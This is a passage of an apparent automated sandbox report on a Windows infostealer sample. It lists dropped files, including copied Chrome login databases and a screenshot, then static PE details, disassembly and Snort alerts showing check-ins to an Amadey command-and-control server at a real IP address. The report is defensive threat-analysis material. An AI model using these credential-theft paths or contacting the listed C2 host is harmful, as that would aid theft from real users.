Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qbTdLHcrfeS\files_\_Chrome\default_key.bin Download File
Process:	C:\Users\user\AppData\Local\Temp\D375.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	5.0
Encrypted:	false
SSDEEP:	3:jYUbMR8o9eZwo:kUbMqo9Gwo
MD5:	FC370DE3AE9A03C5666D84F3350DDC91
SHA1:	62E22644A9485F6B70EAEEFFDA8B8C3B2C4D03F1
SHA-256:	17D41F57A87688AF3A7C0216D4E6A2D13F09C1CA78290B959DFDD7970B1797A4
SHA-512:	31FCE8B4462DAE87DE334EF9D7E27A47C50BAD44652146A75F0A82DE5E3CD9BC6CCF23EE43A54BAA97A90E9F47198A7C3DB21F9C2110F854D41434A9D11EBEC3
Malicious:	false
Reputation:	unknown
Preview:	..}.(n.=..1..$t?!...;..kJGBD2.I

C:\Users\user\AppData\Local\Temp\qbTdLHcrfeS\files_\_Chrome\default_logins.db Download File
Process:	C:\Users\user\AppData\Local\Temp\D375.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qbTdLHcrfeS\files_\_Chrome\default_webdata.db Download File
Process:	C:\Users\user\AppData\Local\Temp\D375.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qbTdLHcrfeS\files_\screenshot.jpg Download File
Process:	C:\Users\user\AppData\Local\Temp\D375.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
Category:	dropped
Size (bytes):	61995
Entropy (8bit):	7.751969065949765
Encrypted:	false
SSDEEP:	1536:IcpJ1w/lxFk+PBBUpMKtwtDxwjpmAO+uz5S:Xnw/lgaBUbwtNwTOZzE
MD5:	CB57DABF20AA73C74D4F9264D3711C14
SHA1:	0C98B0A062B0D34DDE8D55A82E705E0AC4F702D2
SHA-256:	F55B9934FDFF0546A214ECDC90F85210FFB945E43119D84C87B2FB4D829582A3
SHA-512:	F3DC6A83CA9EC0D41F35BE5579905270A6DB634724E499D5BC56E762DABF81997999404A7C6F8339CC26642930DE76ACEB59633D12C499F9FCAC2E6304921838
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C................%.....- ".%5/874/43;BUH;?P?34JdKPWZ_`_9Ghog\nU]_[...C.......+..+[=4=[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..E-.(...(..U..K2..,p$s.~....:-.\|.+.......6.Y.t....X..s...r6.\..?....I..a..~dQ..cQS..\....^0z.8?C...D.E-..JJZJ.%%v.\|>d8:.......SG.....O.. ..U..T{.f..}.2.......S..%..../....qm...+G....3...Z.4.&P.w ..+R..(...+..?.t.kO...'g.].U..I..+.e......._.._..i?...........4W}...........q...h=..\..F..J...z..$.j.i)M...E-..J)i(...(...(...(...(...(...(...Z.J)h.....b......0.J\Q.

C:\Users\user\AppData\Roaming\ddigjgj Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	162304
Entropy (8bit):	6.257421049731965
Encrypted:	false
SSDEEP:	3072:U8SeVh8bW4CwA7OoEfLNFdnqP/uFkAXGHrIsHcW7qXUHf9bQ2:fvDiWpwA7OoWr2uFlGcs8RUHf9P
MD5:	C6E5298F945F91851744F96EE16412E5
SHA1:	960D38C010136A907DE89E32835608D92A200829
SHA-256:	F7B5A27355EAFA5302A38A1E0ADADCB619B6D42E7C1707A784297634A180A66F
SHA-512:	72C64EE58642A15259676259FD76582270BDC6E340A207977A8A22999E7E16FD752109E58AE8A6FB306A624221D5025C66583587CB8A074715EBF39E01B10828
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L....i\|_.................@....t......*.......P....@..........................0v............................................4...x.....u..............................Q..................................@............P..d............................text....>.......@.................. ..`.rdata..n....P.......D..............@..@.data...`us.........................@....livucucr....pu.....................@..@.vuf....p.....u.....................@..`.duha.........u.....................@..`.rsrc.........u.....................@..@................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ddigjgj:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.257421049731965
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	QMn13jz6nj.exe
File size:	162304
MD5:	c6e5298f945f91851744f96ee16412e5
SHA1:	960d38c010136a907de89e32835608d92a200829
SHA256:	f7b5a27355eafa5302a38a1e0adadcb619b6d42e7c1707a784297634a180a66f
SHA512:	72c64ee58642a15259676259fd76582270bdc6e340a207977a8a22999e7e16fd752109e58ae8a6fb306a624221d5025c66583587cb8a074715ebf39e01b10828
SSDEEP:	3072:U8SeVh8bW4CwA7OoEfLNFdnqP/uFkAXGHrIsHcW7qXUHf9bQ2:fvDiWpwA7OoWr2uFlGcs8RUHf9P
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L....i\|_...........

File Icon


Icon Hash:	acfc36b6b694c6e2

Static PE Info

General
Entrypoint:	0x402a12
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x5F7C6990 [Tue Oct 6 12:56:48 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	9d24ccac58ecf11e70c100743c701d44

Entrypoint Preview

Instruction
call 00007FD33CD50E17h
jmp 00007FD33CD4DE7Eh
mov eax, 0041F010h
ret
mov eax, dword ptr [02B56540h]
push esi
push 00000014h
pop esi
test eax, eax
jne 00007FD33CD4DFF9h
mov eax, 00000200h
jmp 00007FD33CD4DFF8h
cmp eax, esi
jnl 00007FD33CD4DFF9h
mov eax, esi
mov dword ptr [02B56540h], eax
push 00000004h
push eax
call 00007FD33CD50EC5h
pop ecx
pop ecx
mov dword ptr [02B55520h], eax
test eax, eax
jne 00007FD33CD4E010h
push 00000004h
push esi
mov dword ptr [02B56540h], esi
call 00007FD33CD50EACh
pop ecx
pop ecx
mov dword ptr [02B55520h], eax
test eax, eax
jne 00007FD33CD4DFF7h
push 0000001Ah
pop eax
pop esi
ret
xor edx, edx
mov ecx, 0041F010h
jmp 00007FD33CD4DFF7h
mov eax, dword ptr [02B55520h]
mov dword ptr [edx+eax], ecx
add ecx, 20h
add edx, 04h
cmp ecx, 0041F290h
jl 00007FD33CD4DFDCh
push FFFFFFFEh
pop esi
xor edx, edx
mov ecx, 0041F020h
push edi
mov eax, edx
sar eax, 05h
mov eax, dword ptr [02B55420h+eax*4]
mov edi, edx
and edi, 1Fh
shl edi, 06h
mov eax, dword ptr [edi+eax]
cmp eax, FFFFFFFFh
je 00007FD33CD4DFFAh
cmp eax, esi
je 00007FD33CD4DFF6h
test eax, eax
jne 00007FD33CD4DFF4h
mov dword ptr [ecx], esi
add ecx, 20h
inc edx
cmp ecx, 0041F080h
jl 00007FD33CD4DFC0h
pop edi
xor eax, eax
pop esi
ret
call 00007FD33CD4F643h
cmp byte ptr [00000000h], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1d834	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x275a000	0x8080	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x151b0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x185c0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x15000	0x164	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x13e90	0x14000	False	0.772229003906	data	7.46968213296	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x15000	0x906e	0x9200	False	0.223432148973	data	2.87249855126	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1f000	0x2737560	0x1800	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.livucuc	0x2757000	0x272	0x400	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.vuf	0x2758000	0x270	0x400	False	0.0166015625	data	0.0	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.duha	0x2759000	0x17	0x200	False	0.02734375	data	0.0	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x275a000	0x8080	0x8200	False	0.648347355769	data	6.08972992358	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x2760ce0	0x130	data
RT_ICON	0x275a450	0xea8	data	Oriya	India
RT_ICON	0x275b2f8	0x8a8	data	Oriya	India
RT_ICON	0x275bba0	0x6c8	data	Oriya	India
RT_ICON	0x275c268	0x568	GLS_BINARY_LSB_FIRST	Oriya	India
RT_ICON	0x275c7d0	0x25a8	data	Oriya	India
RT_ICON	0x275ed78	0x10a8	data	Oriya	India
RT_ICON	0x275fe20	0x988	data	Oriya	India
RT_ICON	0x27607a8	0x468	GLS_BINARY_LSB_FIRST	Oriya	India
RT_STRING	0x2760fd8	0x360	data	Spanish	Ecuador
RT_STRING	0x2761338	0x326	data	Spanish	Ecuador
RT_STRING	0x2761660	0x47e	data	Spanish	Ecuador
RT_STRING	0x2761ae0	0x304	data	Spanish	Ecuador
RT_STRING	0x2761de8	0x292	data	Spanish	Ecuador
RT_ACCELERATOR	0x2760c88	0x40	data	Spanish	Ecuador
RT_ACCELERATOR	0x2760cc8	0x18	data	Spanish	Ecuador
RT_GROUP_CURSOR	0x2760e10	0x14	data
RT_GROUP_ICON	0x2760c10	0x76	data	Oriya	India
RT_VERSION	0x2760e28	0x1b0	data

Imports

DLL	Import
KERNEL32.dll	CommConfigDialogA, WaitForSingleObject, WriteConsoleInputA, CreateHardLinkA, GetConsoleAliasesA, GetSystemTimeAsFileTime, GetConsoleTitleA, GetConsoleAliasesLengthW, GetHandleInformation, GetThreadLocale, GetProcAddress, GetLongPathNameA, VirtualAlloc, HeapSize, FreeUserPhysicalPages, LoadLibraryA, LocalAlloc, EndUpdateResourceA, RaiseException, SetFilePointer, PulseEvent, GetModuleHandleW, ExitProcess, DecodePointer, GetCommandLineA, HeapSetInformation, GetStartupInfoW, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, TerminateProcess, GetCurrentProcess, HeapAlloc, IsProcessorFeaturePresent, GetLastError, HeapFree, CloseHandle, LoadLibraryW, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, WriteFile, GetModuleFileNameW, GetModuleFileNameA, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, HeapCreate, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, Sleep, GetConsoleCP, GetConsoleMode, RtlUnwind, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, SetStdHandle, FlushFileBuffers, HeapReAlloc, WriteConsoleW, MultiByteToWideChar, LCMapStringW, GetStringTypeW, CreateFileW
USER32.dll	SetCaretPos
GDI32.dll	GetCharWidthFloatA
ADVAPI32.dll	BackupEventLogA
MSIMG32.dll	GradientFill

Version Infos

Description	Data
InternalName	bomgpiaruci.iwa
ProductVersion	13.54.77.27
Copyright	Copyrighz (C) 2021, fudkat
Translation	0x0124 0x046a

Possible Origin

Language of compilation system	Country where language is spoken	Map
Oriya	India
Spanish	Ecuador

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
12/01/21-10:05:54.211834	TCP	2027700	ET TROJAN Amadey CnC Check-In	49875	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.408455	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.408466	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.408678	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.408693	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.409106	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.409332	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.409886	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.410076	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.414169	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.421448	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.421740	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.423074	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.431290	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.432063	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.432215	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.435747	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.442713	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.443507	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.443606	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.443647	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.444228	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.445740	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.447144	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.448336	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.448669	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.449773	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.453252	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.456165	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.458602	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.504899	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.510776	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.513533	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.515915	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.516541	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.518482	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.520615	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.522776	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.526770	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.526859	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.527178	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.529109	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.529344	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.533447	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.535078	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.570574	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.572828	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.573509	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.574776	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.576078	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.577981	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.578675	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.582401	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.582759	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.583077	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.583391	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.585467	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.585611	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.586423	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.591147	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.593413	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.597387	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.606779	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.608267	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.680209	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.684136	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.685190	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.685281	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.687574	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.690606	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.692115	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.692845	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.703493	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.704927	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.705428	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.718487	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.719101	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.721432	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.723236	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.757911	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.759030	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.759416	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.760240	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.761572	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.762873	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.764921	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.766376	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.767798	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.767873	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.772697	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.773630	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.775379	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.778500	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.782477	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.782516	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.783241	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.783277	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.783473	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.783747	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.785933	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.788582	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.789010	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.789363	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.840143	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.841790	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.842416	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.845220	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.845828	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.846573	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.850280	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
12/01/21-10:05:54.851253	TCP	1087	WEB-MISC whisker tab splice attack	49876	80	192.168.2.3	185.215.113.35
